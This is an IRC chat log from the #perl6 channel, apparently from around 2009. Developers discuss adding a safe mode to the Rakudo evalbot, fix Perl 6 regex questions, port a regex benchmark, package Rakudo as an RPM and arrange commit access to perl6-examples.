08:22 masak moritz_: couldn't you patch the central Rakudo, and provide sandboxedness as a runtime flag?
08:22 moritz_ masak: that would be prefered, but more complicated
08:22 masak ok.
08:23 moritz_ masak: my current patch simply replaces those functions with '!FAIL'('$function not allowed')
08:23 moritz_ I've opened a ticket requesting a "real" safe mode
08:23 masak moritz_++
08:23 moritz_ rakudo: run('ls')
08:23 p6eval rakudo 8ef347: OUTPUT«run() forbidden in safe mode␤»
08:23 masak moritz_++
08:24 moritz_ rakudo: say $*IN.get
08:24 p6eval rakudo 8ef347: OUTPUT«Land der Berge, Land am Strome,␤»
08:24 moritz_ still works, YaY
08:24 cotto moritz++
08:24 moritz_ afk
08:31 davidad joined #perl6
08:33 DanielC joined #perl6
08:38 ejs joined #perl6
08:41 phenny joined #perl6
08:42 Matt-W Nooo somebody save me from the boring frustrating meeting I'm going to have in quarter of an hour
08:43 masak Matt-W: ok, but how? to you, we're just lines of text in a chat window.
08:45 DanielC Matt-W: Bring a laptop with you and pretend you are taking notes.
08:45 * cotto calls Matt-W's local police department with an anonymous tip
08:45 DanielC Matt-W: Do you work for a big company? Do you have a PHB?
08:46 cotto alternately, you can print up an appropriately buzzword-filled bingo card
08:46 DanielC he he he
08:47 cotto http://www.youtube.com/watch?v=cgeLY7CL5IE
08:49 DanielC heh
08:49 DanielC cotto: You know the idea comes from Dilbert, right?
08:50 cotto I didn't know it originated there.
08:50 cotto it's brilliant, though
08:50 tulcod joined #perl6
08:51 DanielC Say... can anyone tell me if /foo|bar/ does the same thing in Perl 6 as it did in Perl 5? (ie. either match the entire word "foo" or the entire word "bar")
08:52 Matt-W DanielC: no, instead of a PHB I have a LHP
08:52 masak DanielC: it does.
08:52 DanielC Matt-W: LHP?
08:52 Matt-W DanielC: Long-haired pillock
08:52 DanielC ah
08:52 DanielC big company?
08:53 wayland76 Is that the British equivalent?
08:53 Matt-W Very big company
08:53 Matt-W wayland76: no we have PHBs as well, my boss isn't one though
08:53 Matt-W He's slightly more intelligent than that
08:53 DanielC masak: Hmm...  I have converted a benchmark to Perl 6 but the regexes don't do the right thing.
08:53 wayland76 (and does the phrase "Long-haired pillock" come from Terry Pratchett?)
08:53 Matt-W But it's not him who tends to make these meetings so painful anyway
08:53 Matt-W wayland76: not in my usage, I was aware of it long before I was aware of Pratchett
08:54 Matt-W I think I might just have a nap instead
08:54 masak DanielC: time to start debugging, then.
08:54 DanielC masak: Speaking of which... I found my first Rakudo bug yesterday. \o/
08:54 wayland76 Class '[ 'parrot' ; 'Perl6MultiSub' ]' not found
08:54 wayland76 current instr.: 'perl6;Perl6Role;!add_variant' pc 3584 (src/classes/Role.pir:27)
08:55 wayland76 Matt-W: Common British phrase then?
08:55 masak DanielC: I saw. way to go!
08:56 wayland76 Btw, that error I pasted; can someone give me a tip as to what it's looking for?
08:56 wayland76 Or what file contains the thing it's looking for?
08:57 Matt-W wayland76: yes
08:57 Matt-W wayland76: slightly archaic, a lot of that kind of thing has been taken over by american slang
08:57 wayland76 A pity.  I like different accents :)
08:58 wayland76 Btw, Rakudo finally builds on top of a Parrot package.  Now I just have to get it to work :)
08:58 lu_zero wayland76 great =)
08:58 masak phenny: tell mberends I'd like some coaching about showing SVG content in HTML when you have the time. I copied your httpd code, but it still doesn't quite work here.
08:59 phenny masak: I'll pass that on when mberends is around.
08:59 wayland76 (I had to modify both the Parrot and Rakudo install processes :)
08:59 lu_zero I hadn't the time to go further since last time
08:59 lu_zero did you push the patches somewhere in the parrot/rakudo bug trackers?
09:00 wayland76 No, but I can send you one
09:00 lu_zero thank you
09:01 wayland76 I wanted to get the Rakudo working first, then I plan to send all the patches back
09:01 wayland76 Ok.  The Parrot patch is the main thing.  I'll send that first
09:01 wayland76 I'm kinda stuck until I get a tip on that error message anyway :)
09:04 DanielC rakudo: say "cats and dogs".comb(/[bc]at|dog/)
09:04 p6eval rakudo 8ef347: OUTPUT«dog␤»
09:04 DanielC masak: Is that correct?
09:05 masak hm.
09:05 DanielC I was expecting "catdog"
09:05 masak DanielC: yes. it's correct.
09:05 DanielC It's the [bc] that breaks it.
09:05 masak DanielC: [] doesn't do what you think it does.
09:05 masak DanielC: see S05.
09:05 DanielC ugh
09:05 DanielC rakudo: say "cats and dogs".comb(/<[bc]>at|dog/)
09:05 p6eval rakudo 8ef347: OUTPUT«catdog␤»
09:05 DanielC *kick*
09:06 masak rakudo: say "cats and dogs".comb(/<[bc]>at|dog/).perl
09:06 p6eval rakudo 8ef347: OUTPUT«["cat", "dog"]␤»
09:06 DanielC Why did they change [] ?
09:08 azawawi joined #perl6
09:08 masak DanielC: that's also in S05. :)
09:08 DanielC :P
09:08 DanielC I'll read S05 today.
09:09 masak it's quite good.
09:09 azawawi std: my $int_num = 0d10;
09:09 p6eval std 26942: OUTPUT«ok 00:02 36m␤»
09:09 masak I'd recommend it to anyone writing Perl 6 regexes. :)
09:09 azawawi std: my $int_num = 00d10;
09:09 DanielC :-)
09:09 p6eval std 26942: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 36m␤»
09:09 wayland76 masak: LOL
09:09 azawawi aha std parsing bug
09:09 DanielC masak: It's not like I haven't looked at it. I just haven't read it cover to cover. It's a tad long.
09:10 azawawi masak: what do u think about my $int_num = 00d10;
09:10 DanielC Hmm... the benchmark is making progress. Most of the output is correct, but there's some still wrong...
09:10 masak azawawi: I think that it shouldn't parse. but the error message is strange.
09:10 azawawi masak: yeah
09:11 azawawi TimToady: i think my $int_num = 00d10; has a bug. it returns 'Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804'
09:14 dakkar joined #perl6
09:14 mikehh joined #perl6
09:15 tulcod joined #perl6
09:16 wayland76 lu_zero: E-mails sent
09:16 lu_zero wayland76 thank you
09:17 payload joined #perl6
09:17 wayland76 DanielC++ for sensible e-mails :)
09:22 davidad joined #perl6
09:22 pnu joined #perl6
09:26 DanielC rakudo: say "foo\n>test\nbar".subst(/^\>.*?\n/,"",:g)
09:26 p6eval rakudo 8ef347: OUTPUT«foo␤>test␤bar␤»
09:26 DanielC Why isn't "> test" being deleted?
09:27 cmv joined #perl6
09:27 moritz_ because ^ matches only at start of string
09:27 moritz_ ^^ matches at start of line, which is what you want, probably
09:27 DanielC hm
09:28 DanielC rakudo: say "foo\n>test\nbar".subst(/^^\>.*?\n/,"",:g)
09:28 p6eval rakudo 8ef347: OUTPUT«foo␤bar␤»
09:28 DanielC yeah, thats better. Thanks.
09:28 moritz_ rakudo:  say "foo\n>test\nbar".subst(/ ^^ \> \N* \n /, '', :g)
09:28 p6eval rakudo 8ef347: OUTPUT«foo␤bar␤»
09:28 moritz_ whitespaces improve readability a lot ;-)
09:29 trod joined #perl6
09:32 DanielC Does ^^ speed up or slow down a regex?
09:33 wayland76 DanielC: Compared to what?
09:33 DanielC Compared to not having ^^
09:33 DanielC .subst(/ ^^ \> \N* \n /, '', :g)
09:33 DanielC The ^^ is not actually needed for this data set.
09:34 moritz_ I don't think it makes a difference right now
09:34 DanielC Is it a "best practice" to include it?
09:34 moritz_ though maybe later the will be some optimizations that take advnantage of it
09:35 moritz_ use if it describes the data format better
09:35 ejs1 joined #perl6
09:35 DanielC in the data the > always starts at the beginning of a new line. It's like a comment.
09:36 moritz_ then include the ^^, I'd say
09:36 DanielC ok
09:38 DanielC Jesus... Perl 6 takes 81 seconds to run subst(/ (^^ \> \N*)? \n/, '', :g);
09:38 DanielC Perl 5 can do the entire benchmark in 0.14s
09:40 moritz_ well, yes. Speed improvements are really needed
09:40 moritz_ pmichaud++ is working on refactoring the regex engine, which hopefully gives us some speed benefits too
09:41 DanielC yay for pmichaud
09:41 wayland76 lambdabot: @karma pmichaud
09:41 lambdabot pmichaud has a karma of 433
09:41 wayland76 @karma DanielC
09:41 lambdabot DanielC has a karma of 2
09:41 moritz_ @karma wayland76
09:41 lambdabot wayland76 has a karma of 4
09:41 moritz_ wayland76: do you use a differnt nick for commits?
09:41 wayland76 @karma wayland
09:41 lambdabot wayland has a karma of 52
09:41 DanielC Ok, the entire benchmark takes 99 seconds on Rakudo and 0.18s for Perl 5.
09:42 moritz_ rakudo: say 99 / 0.18
09:42 p6eval rakudo 8ef347: OUTPUT«550␤»
09:42 wayland76 moritz_ has a few nicks, and his karma adds up to about 500, I think :)
09:42 wayland76 @karma moritz_
09:42 lambdabot moritz_ has a karma of 66
09:42 wayland76 @karma moritz
09:42 lambdabot moritz has a karma of 648
09:42 wayland76 Ok, make that 700
09:42 DanielC So, if you put ++ after someone's name it means you are giving them a karma point?
09:42 moritz_ yes
09:42 wayland76 Exactly
09:42 DanielC interesting
09:42 wayland76 And c/c-- subtracts one from c/c
09:42 DanielC Can you do -- ?
09:43 wayland76 :)
09:43 DanielC :)
09:43 wayland76 But don't try to karma yourself
09:43 moritz_ and our bots that monitor commits automatically give ++ to the author
09:43 exampletest exampletest++
09:44 wayland76 Hmm, it usually tells you not to be an idiot if you do that
09:44 wayland76 @karma exampletest
09:44 lambdabot exampletest has a karma of 0
09:44 DanielC Can you redeem karma points for airmiles? ;-)
09:44 moritz_ no
09:45 wayland76 Yes.  Just ring United Airlines
09:45 DanielC heh
09:45 wayland76 ..and record the conversation, and post it online somewhere
09:45 wayland76 Then post the link here
09:45 DanielC he he
09:45 moritz_ I actually thought about a PR joke, changing karma points for Perl 6 donations
09:45 moritz_ I just need somebody willing to donate something ;-)
09:46 wayland76 All you need to do to redeem your miles is explain S05 to the airline person, using obfus examples :)
09:46 DanielC heh
09:46 wayland76 moritz_: Well, I think the problem is, you could buy all of it :)
09:46 fridim_ joined #perl6
09:47 IRSeekBot joined #perl6
09:47 moritz_ actually on perlmonks it would make more sense, because you can't give karma so easily and unlimited
09:47 tulcod joined #perl6
09:48 synth joined #perl6
09:49 wayland76 p6l mods: have you seen eternaleye_'s e-mail yet?
09:49 wayland76 The one about CPAN?
09:50 DanielC \o/  The regex-dna benchmark is fully ported to Perl 6 (you have to examine DNA sequences). It runs slow as a glacier, but it runs and gives the correct output.
09:50 wayland76 Yay!
09:50 wayland76 Is the output stored somewhere?
09:50 wayland76 Or is this just on your local machine?
09:51 DanielC It's in my local machine.
09:51 wayland76 ok
09:51 agentzh joined #perl6
09:51 DanielC I won't submit to Debian until it runs at a decent speed.
09:51 moritz_ DanielC: you could put it into a public repository nonetheless
09:51 DanielC yeah
09:51 wayland76 Can we put it in the spectests or something?
09:52 DanielC Someone suggested that it could be included in perl6-examples
09:52 DanielC Sure. How do I submit it to the project?
09:52 moritz_ I'm fine with both
09:52 tulcod joined #perl6
09:52 moritz_ which one?
09:52 moritz_ for the test suite I can give you commit access
09:52 moritz_ (and every other commit can as well)
09:53 moritz_ for perl6-examples we have to ping pmichaud (or mberends, I think)
09:53 DanielC one sec
09:53 wayland76 Btw, does anyone know what Rakudo is looking for in the error message I posted about an hour ago?
09:53 * moritz_ didn't see it
09:53 moritz_ ah
09:53 pasteling "DanielC" at 92.229.216.61 pasted "Regex-dna benchmark" (45 lines, 1.4K) at http://sial.org/pbot/36851
09:54 wayland76 [root@rhys ~]# perl6
09:54 wayland76 Class '[ 'parrot' ; 'Perl6MultiSub' ]' not found
09:54 wayland76 current instr.: 'perl6;Perl6Role;!add_variant' pc 3584 (src/classes/Role.pir:27)
09:54 DanielC http://sial.org/pbot/36851
09:54 DanielC yeah
09:54 wayland76 (Sorry, I didn't know it would be that many lines)
09:54 DanielC That looks like an "example" to me more than a "test".
09:54 moritz_ wayland76: it's the same error message that you get right now when you compile Perl 6 to PIR or PBC and then execute it
09:55 wayland76 Oh
09:55 wayland76 So rakudo is broken?
09:55 moritz_ partly. Direct execution (without storing the PIR in a file) works
09:56 DanielC moritz_: http://sial.org/pbot/36851  -> That's the benchmark. Does that logically belong in "examples" or "tests" ?
09:56 DanielC (or both?)
09:56 moritz_ DanielC: examples, I'd say
09:56 DanielC Thought so.
09:56 wayland76 I got it by running "perl6" at the command line with no parameters
09:56 wayland76 perl6 -e 'say "hi"'   gives the same error
09:57 moritz_ both work here
09:57 moritz_ uhm
09:57 moritz_ but I can't exit the REPL with exit or EOF
09:57 wayland76 Well, this is the Rakudo RPM I'm trying to build
09:57 moritz_ I know
09:58 wayland76 It almost certainly doesn't have enough files, but I was hoping it would tell me what it was looking for
09:59 moritz_ well, it looks for Perl6MultiSub, doesn't it?
10:00 wayland76 But what file is that supposed to be in?
10:00 wayland76 Maybe I could grep :)
10:01 moritz_ maybe src/pmc/perl6multisub.dump or so?
10:01 moritz_ or .o?
10:01 wayland76 Or read the makefile :)
10:02 wayland76 ok, I've got ideas now.  Sorry I was stupid :)
10:04 moritz_ parrot/runtime/parrot/dynext/ maybe?
10:06 wayland76 (don't worry, I'll work on it :) )
10:19 fridim_ DanielC: nice. How fast/slow does it run (in order to have an idea compared to perl-5 or any other language) ?
10:19 DanielC frindim_: Slow as a glacier. Perl 5 runs in 0.15s. Rakudo runs in 99s.
10:19 DanielC fridim_: But that's an unfair comparison.
10:20 DanielC fridim_: Rakudo is packed with debugging information, and it is not optimized at all.
10:20 fridim_ right.
10:21 fridim_ ~ 1000 times slower :)
10:21 fridim_ (660 to be exact)
10:21 DanielC Actually... Perl 5 runs in 0.18 seconds, so it is only 550 times slower. :-)
10:21 wayland76 No, 666 times slower :)
10:22 fridim_ :)
10:22 DanielC fridim_: The benchmark is 100% about regexes. Perl 5 is very optimized for those, as you know.
10:22 wayland76 I wonder how fast Perl5 would run it if it compiled to Parrot :)
10:28 DanielC Are masak's Perl 6 programs written in order to test Perl 6 or for some other reason?
10:29 masak DanielC: what do you mean? :)
10:29 DanielC masak: For fun? For a school project? Production? I don't know...
10:29 masak ah.
10:29 DanielC Would it be fair to say that most Perl 6 apps were only written to test Perl 6?
10:30 masak well, most of the code I write are written to perform a particular purpose. that's the boring answer.
10:30 DanielC I just want to know if that statement would be true.
10:30 masak of course, I wouldn't have written them in Perl 6 if I didn't also want to try out Perl 6 and Rakudo.
10:30 masak it quickly became evident that by doing this, I also uncovered loads of bugs.
10:31 masak that's still true, although to a lesser extent.
10:31 DanielC ok
10:31 * DanielC is making a blog post
10:31 * DanielC hasn't posted to his blog in a month...
10:31 masak DanielC: basically, I really like Perl 6. I want to write code in the language.
10:32 wayland76 Well, I haven't posted to my "blog" in 6 months
10:32 wayland76 But I linked to it yesterday in that CPAN discussion :)
10:32 DanielC masak: Ok, I understand.
10:32 wayland76 I write when I have something to write :)
10:32 masak I gather you gentlemen aren't participating in the Ironman frenzy. :)
10:34 DanielC SMOP is an interpreter, right? (ie. not a compiler)
10:36 eMaX joined #perl6
10:37 danbeimborn joined #perl6
10:42 wayland76 joined #perl6
10:43 wayland76 Sorry about that -- xorg died on me, I think
10:47 wayland76 Maybe it should have been a Fe-renzy
10:47 wayland76 (Ferrous renzy :) )
10:48 masak another fun idea for later this year: implementing a CPAN mirror in Perl 6, which does some of the things people think that the current CPAN mirror should do. integrate annocpan and CPANTS more tightly, for example.
10:49 moritz_ DanielC: it's somewhere inbetween a runtime library and a virtual machine
10:49 DanielC ok
10:49 * DanielC called it "interpreter" in his blog
10:50 moritz_ URL?
10:50 DanielC http://daniel.carrera.bz/
10:50 DanielC I only mention SMOP on the last line.
10:50 moritz_ yes, nice post
10:51 DanielC :) I'll send an email to the list with a link to the shootout benchmark, and ask if they want to put it in perl6-examples.
10:52 masak DanielC++ # indeed, nice post
10:52 moritz_ perl6-users seems like a good place for that
10:53 moritz_ s/place/list/
10:53 DanielC ok
10:57 * DanielC subscribes to perl6-users
10:57 trod Is there a recommended book for learning perl6 as a new language and for someone with no prior perl experience?
10:58 masak trod: not a printed, up-to-date one, no.
10:58 LadyLunacy joined #perl6
10:58 masak trod: there are a few scattered web resources.
10:59 trod masak: could you point me to one of the resources
10:59 masak trod: http://perl6-projects.org/
10:59 masak that one contains a list of the best resources out there.
10:59 trod masak: thanks :)
11:00 DanielC trod: hmm... someone started a wiki book.
11:00 masak trod: good luck!
11:00 wayland76 trod: Quick question -- what other prior programming experience do you have?
11:00 DanielC http://en.wikibooks.org/wiki/Perl_6_Programming
11:00 wayland76 DanielC: ...or people could join Masak's u4x project
11:01 wayland76 (or u4x could migrate to Wikibooks :) )
11:01 trod wayland76: I am learning c++
11:01 DanielC Is u4x supposed to be a book?
11:01 DanielC I guess u4x / grok is supposed to contain both tutorials and reference. Is that right masak?
11:01 wayland76 DanielC: Not that I know of, but ask masak
11:02 masak DanielC: yes. but the focus is on reference for now.
11:02 DanielC trod: IMO Perl is much much easier than C++
11:02 masak I like the Wikibooks effort. I don't feel it competes with u4x.
11:02 wayland76 trod: ok.  You may experience a steep learning curve, but we're here to help :)
11:02 DanielC masak: Is that in the sense of "you have to start somewhere" or in the sense of "I think reference is the most important thing"
11:02 wayland76 trod: DanielC is right, but C++ has more books about it :)
11:03 masak DanielC: both.
11:03 DanielC ok
11:03 wayland76 trod: But in Perl 6 you can hopefully spend more time worrying about the program you're writing, and less thinking about how the computer lays out memory
11:03 DanielC What I like about the current perldoc is that it has both tutorials and reference. Both are really important.
11:03 trod DanielC: first time I tried to look at perl code it scared me a lot :) I just skimmed wiki and perl6 static type system feels a bit familiar
11:03 DanielC A lot of people think that you can replace one with the other, but they are wrong.
11:03 wayland76 DanielC: The specs claim to also be reference
11:04 wayland76 Masak isn't so sure.
11:04 lichtkind joined #perl6
11:04 masak the specs are a reference, and the only official one.
11:05 masak one of the goals of u4x is to be an indispendible unofficial reference.
11:05 DanielC trod: The language is very different, but there is a lot o beauty behind it. It was designed by a linguist you know? So it has a lot of good linguistic features. For example, things that you say often are easy to say.
11:05 wayland76 trod: Perl incorporates stuff from many programming languages, so it caters to people of many stripes.  But that means that you can do things in it that other people find very strange
11:05 moritz_ and short.
11:05 trod DanielC: yes, I heard larry wall on google techtalks
11:05 DanielC trod: Features you use often are short. Coding patterns that are popular and useful are made natural.
11:06 DanielC moritz_: yes... and short. Just like a good natural language.
11:06 DanielC trod: In some human languages you can change the order of a sentence for emphasis.
11:06 DanielC trod: So that the most important part of the sentence comes first. Well, in Perl you can do the same thing.
11:08 DanielC trod: But making Perl flexible like a natural language means that you could do scary things with it if you wanted. But you can also make very clear things that are not possible in a different language.
11:08 DanielC trod: In another language you might write "while (not finished()) { keep_working() }".  But isn't it more natural to say "keep_working() until finished()" ?
11:09 wayland76 One thing that scares me about my Rakudo builds; sometimes it fails on parrot_config, and I re-run it, and it works
11:09 trod DanielC: Yes, that feels good and natural
11:09 DanielC :-)
11:13 araujo joined #perl6
11:14 jnthn s1n: No, custom BUILD doesn't work yet. I did like half of the refactors to get us there. Check back next week.
11:18 masak (custom BUILD)++
11:20 moritz_ masak, literal: has the hacking phase of GSoC started yet?
11:21 donaldh joined #perl6
11:21 masak moritz_: I think so. we've had our first informal meeting in #perl6-soc :)
11:21 masak moritz_: (which isn't logged nowadays, by the way)
11:21 moritz_ I can change that.
11:21 masak nice.
11:22 wayland76 Perl6 socks!  Now there's an idea :)
11:22 mizioumt joined #perl6
11:22 ilbot2 joined #perl6
11:22 Topic for #perl6is now »ö« | http://perl6-projects.org/ | nopaste: http://sial.org/pbot/perl6 | evalbot: 'perl6: say 3;' | irclog: http://irc.pugscode.org/ | UTF-8 is your friend!
11:23 moritz_ so, what about weekly, format #ps-like meetings?
11:23 wayland76 I hadn't thought of that.  Maybe we should produce some Perl 5 socks first
11:23 moritz_ s/format/formal/
11:27 masak moritz_: I'm up for it. literal seemed too, when I mentioned the idea.
11:27 Chillance joined #perl6
11:28 moritz_ masak: then I let you two pick a date, and join you after my vacations ;-)
11:28 moritz_ (tomorrow at this time I'll be on the ferry
11:29 eMaX joined #perl6
11:29 wayland76 rakudo: my $a Array of Temporal; $a.pick(1);
11:29 p6eval rakudo 8ef347: OUTPUT«Statement not terminated properly at line 1, near "Array of T"␤in Main (src/gen_setting.pm:0)␤»
11:30 masak moritz_: cool. I wish you a well-deserved vacation. will you manage not to tend the spectest suite while gone?
11:30 masak wayland76: that's two terms in a row.
11:30 masak wayland76: er. I think.
11:31 masak rakudo: my Array of Int $a;
11:31 p6eval rakudo 8ef347: OUTPUT«Use of type object as value␤Use of type object as value␤»
11:31 masak o_O
11:31 masak jnthn! :)
11:32 wayland76 rakudo: my Array of Temporal $a; $a.pick(1);
11:32 p6eval rakudo 8ef347: OUTPUT«Malformed declaration at line 1, near "Array of T"␤in Main (src/gen_setting.pm:0)␤»
11:35 wayland76 Still no CPAN message on p6l :)
11:36 masak that's because the mailing lists are slow.
11:37 wayland76 Only selectively.  I have DanielC's example already :)
11:38 DanielC I'm special so my emails get there first.
11:39 moritz_ masak: I won't take my laptop to .no, so chances are good that I'll manage ;-)
11:40 masak moritz_: wise choice. :)
11:41 moritz_ masak: my girlfriend would kill me, and with good reason ;)
11:42 masak nod.
11:47 moritz_ http://www.perlmonks.org/?viewmode=public;node_id=632816 # I'll post that as a Meditation on perlmonks after I get back
11:47 moritz_ feedback appreciated, of course
11:49 wayland76 @seen mncharity
11:49 lambdabot I saw mncharity leaving #perl6 4m 8d 22h 47m 51s ago, and .
11:49 wayland76 Is that accurate?
11:50 masak wayland76: to the second.
11:51 wayland76 Well, I don't think asking people to contact him on #perl6 is very constructive then
11:51 wayland76 I was under the impression that he'd mothballed Elf :)
11:51 moritz_ well, what elese should I write then?
11:52 wayland76 If you can find him, ask him, otherwise leave Elf out altogether
11:52 masak moritz_: nice post.
11:52 wayland76 (btw, your json link is writing itself out in full)
11:52 masak moritz_: is it too late to correct grammar errors? :)
11:52 wayland76 Oh, yes, moritz_++ for a good post :)
11:53 wayland76 masak: Which regex are the errors in? ;)
11:53 masak moritz_: should be 'Rakudo's support ... has made it easy and fun.', not 'have'.
11:54 moritz_ masak: not too late, will publish in 2 weeks or so
11:56 masak excellent.
11:57 jnthn masak: Yes?
11:58 jnthn masak: I thought it was well known that Array is not parametric yet... :-S
11:58 masak jnthn: oh, so it's known.
11:58 moritz_ masak, wayland76: thanks for your feedback
11:58 masak jnthn: just checking. :)
11:58 FurnaceBoy joined #perl6
11:58 jnthn masak: Use my Int @array for now. :-)
11:59 moritz_ jnthn: I thought about implementing a crude safe mode for rakudo... is there a nice way in parrot to set a variable to True once, and then never have it modified? (not even by inline PIR)
11:59 masak jnthn: yes, no problem.
12:01 jnthn moritz_: The "not even by inline PIR" bit is probably the trickier one.
12:02 jnthn moritz_: Nothing obvious comes to mind right away, will ponder it a bit.
12:02 jnthn moritz_: The safe mode stuff probably should eventually fall out of Parrot's Security Model, but I'm not sure what sort of timeline we're talking about for that. :-|
12:02 moritz_ jnthn: yes, I'm looking more for a quick'n'dirty fix for evalbot
12:03 moritz_ well, having to use inline PIR to disable safe mode might be good enough for now
12:03 Whiteknight joined #perl6
12:03 Matt-W It's not something most people know
12:03 jnthn moritz_: What is safe mode intended to do?
12:03 jnthn moritz_: Stop you running certain functions?
12:04 moritz_ jnthn: yes (open, run, qx)
12:04 zamolxes joined #perl6
12:05 moritz_ jnthn: today I disabled those functions in p6eval's rakudo by patching, but of course that will break on updating, and now rakudo reports a "wrong" sha1 hash
12:05 wayland76 jnthn: Do you have long term plans about where eg. perl6_group.so should go?
12:05 DanielC Is this channel the development place of both Rakudo and the Perl 6 language itself?
12:06 wayland76 DanielC: Yes
12:06 DanielC thanks
12:06 jnthn moritz_: A solution that keeps the "safe mode" code in one place and is neater would be to just remove those things from the namespace/method table (or replace them in the ns/method table with a "Unavailable in safe mode" sub.
12:06 wayland76 And SMOP too
12:06 jnthn )
12:06 DanielC ok
12:06 jnthn wayland76: No, I've not thought at all about install stuff.
12:07 wayland76 Ok, I'm doing some now
12:07 jnthn wayland76: I've like, zero experience in such things, so I'm happily leaving it to others. :-)
12:07 moritz_ jnthn: yes, but that requires more parrot and rakudo knowledge than I have :)
12:07 wayland76 Ok.  Does anyone else have an opinion as to where things like perl6_group.so should live?
12:07 Matt-W what does it do?
12:07 jnthn (I'd can give some idea for Windows.)
12:07 Matt-W I mean, obviously it's a shared library
12:08 moritz_ wayland76: have you looked at ppd30 already?
12:08 jnthn moritz_: $P0 = get_hll_namespace \n delete $P0['run']
12:08 moritz_ it *should* deal with such questions, dunno if it actually does
12:08 jnthn moritz_: Or similar.
12:08 abra joined #perl6
12:08 wayland76 No, thanks for the tip
12:08 wayland76 My Parrot knowledge is very minimal
12:10 Matt-W jnthn: you can just delete stuff out of the namespace like it's a hash?
12:11 pmichaud good morning, #perl6
12:11 jnthn Matt-W: Yes. At one point (maybe even this point...) Parrot's NameSpace even inherited from Hash
12:11 jnthn pmichaud: morning
12:12 * DanielC waves
12:12 wayland76 Ok, I'll just do a monkey-see-monkey-do thing in dynext that works like /usr/lib in Fedora, with all softlinks and stuff
12:12 masak morning, pm.
12:12 wayland76 Hmm.  That won't work on Windows, though, will it
12:12 Matt-W jnthn: interesting
12:12 DanielC pmichaud: I hear that you are the dude in charge of perl6-examples.
12:12 * wayland76 respects pmichaud :)
12:13 tulcod joined #perl6
12:13 moritz_ DanielC: at least in charge for handing out commit bits
12:13 Matt-W hi pmichaud
12:13 DanielC ok
12:13 moritz_ I think eric256 does the actualy organization, no?
12:13 pasteling "moritz_" at 84.134.65.18 pasted "safemode WIN (jnthn++)" (23 lines, 657B) at http://sial.org/pbot/36856
12:14 moritz_ ok, where are command line options handled in rakudo?
12:15 jnthn moritz_: Somewhere in perl6.pir
12:15 FurnaceBoy left #perl6
12:15 moritz_ jnthn: thanks
12:15 jnthn moritz_: Thing it's a get-opt style interface.
12:19 moritz_ oh well, I see which options are accepted, and how I can add one, but not where they actually get their semantics
12:33 sri_kraih_ joined #perl6
12:35 agentzh1 joined #perl6
12:37 iblechbot joined #perl6
12:40 jferrero joined #perl6
12:40 wayland76 rakudo: say 'YAY' xx 100
12:41 p6eval rakudo 8ef347: OUTPUT«YAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAY»
12:41 wayland76 YAY!
12:41 Matt-W yes, list-repeat works
12:41 wayland76 We have Rakudo RPM that can do perl -e 'say "hi"'
12:41 Matt-W oooh
12:41 Matt-W wayland76++
12:41 wayland76 And works on top of Parrot RPM
12:41 DanielC wayland76++
12:41 masak that's cool.
12:41 masak wayland76++
12:41 wayland76 And not only that, but using softlinks for libraries
12:42 wayland76 Which probably isn't portable.
12:42 Matt-W don't think Windows can do that
12:42 wayland76 But that's in the spec file, not the make file
12:42 Matt-W but Windows installtaion for this kind of thing is going to be different anyway
12:42 wayland76 Now we just need to come up with some alternative for Windows, and everything will be hunky-dory
12:43 wayland76 I think step 1 is to go to Parrot and try to get some changes made to the build system
12:43 Matt-W step 1 is not to ask me :)
12:43 wayland76 Which will likely take another month now that they're trying to be stable.
12:43 Matt-W well gives time to make sure they're the right changes
12:43 wayland76 ...and then get the Rakudo stuff committed too :)
12:43 wayland76 Matt-W: Yeah, I know, but it's a little bit of a pain, too :)
12:44 Matt-W yeah I know
12:44 Matt-W I get impatient too :)
12:44 Matt-W Especially for the prospect of sitting down at my Fedora-powered laptop and saying 'yum install rakudo'
12:44 Matt-W although admittedly I need to track git at the moment :)
12:45 DanielC wayland76: Now all we need is a DEB :)
12:45 Matt-W DanielC: for which deb-powered distro? :P
12:45 moritz_ debian
12:45 Matt-W my server runs debian
12:45 wayland76 I'm not planning to get rakudo into Fedora -- someone else can do that
12:45 Matt-W wayland76: It may be a bit early yet
12:45 DanielC Matt-W: Actually, Deb-powered distros are a lot more regular than RPM distros. If you just target Debian, it should work fine for everyone.
12:45 Matt-W But it's nice to know some of the work's already there for later
12:46 wayland76 I want it so that I can get the latest rakudo, and go rpmbuild -ta rakudo.tar.gz, and have it make me an RPM
12:46 wayland76 (Whether that's git or a release)
12:46 Matt-W DanielC: really? I didn't think Ubuntu could handle Debian debs very easily
12:46 Matt-W DanielC: but I never really looked into it
12:46 DemoFreak joined #perl6
12:47 ruoso joined #perl6
12:47 DanielC Matt-W: I'm an Ubuntu user, and AFAIK there's no problem for the most par. There are exceptions mainly because Ubuntu has a newer version of gcc, which is not always 100% binary compatible with the one that ships with Debian.
12:47 moritz_ Matt-W: it doesn't work well for the big packages (gnome, KDE), but smaller packages with little dependencies often work cross-distro
12:48 moritz_ things that are near to the kernel (hibernate, laptop mode etc.) are also not safe to mix, sometimes
12:48 DanielC Matt-W: I have installed Debian .debs a lot of times on Ubuntu.
12:48 Matt-W moritz_: the very thought of mixing hibernate stuff together fills me with dread. It's bad enough from one distro sometimes
12:48 DanielC yeh
12:49 wayland76 I got a Kogan Agora, and it hibernates fine
12:49 ruoso Hello!
12:49 wayland76 It uses gOS, which is ubuntu derived, and installs Ubuntu packages fine :)
12:49 wayland76 ruoso: o/
12:50 pmichaud wayland76: the location of perl6_group.so is more of a Parrot question than a Rakudo one.
12:51 pmichaud Rakudo doesn't care where perl6_group.so goes, as long as .loadlib 'perl6' can find it.
12:51 pmichaud er, .loadlib 'perl6_group'
12:51 wayland76 pmichaud: I figured that out, and asked there, thanks anyway :)
12:51 pnu joined #perl6
12:51 pmichaud out of curiosity, what was the answer?
12:52 pmichaud who needed commit bits?
12:52 wayland76 No answer yet, so I did the Rakudo one in /usr/lib style, with directories and softlinks
12:52 moritz_ pmichaud: DanielC did
12:52 moritz_ afk
12:52 pmichaud DanielC: github id?
12:53 DanielC pmichaud: I'll go create an account...
12:55 DanielC pmichaud: I'm dcarrera and I'm totally new at github.
12:56 DanielC That means that I don't know how to commit.
12:56 pmichaud DanielC: http://github.com/guides/home
12:56 DanielC I was thinking of adding Debian shootout benchmarks to perl6-examples.
12:56 DanielC *click*
12:56 pmichaud DanielC: Yes, I agree with that.  :-)
12:57 pmichaud generally, the stuff I need to know:
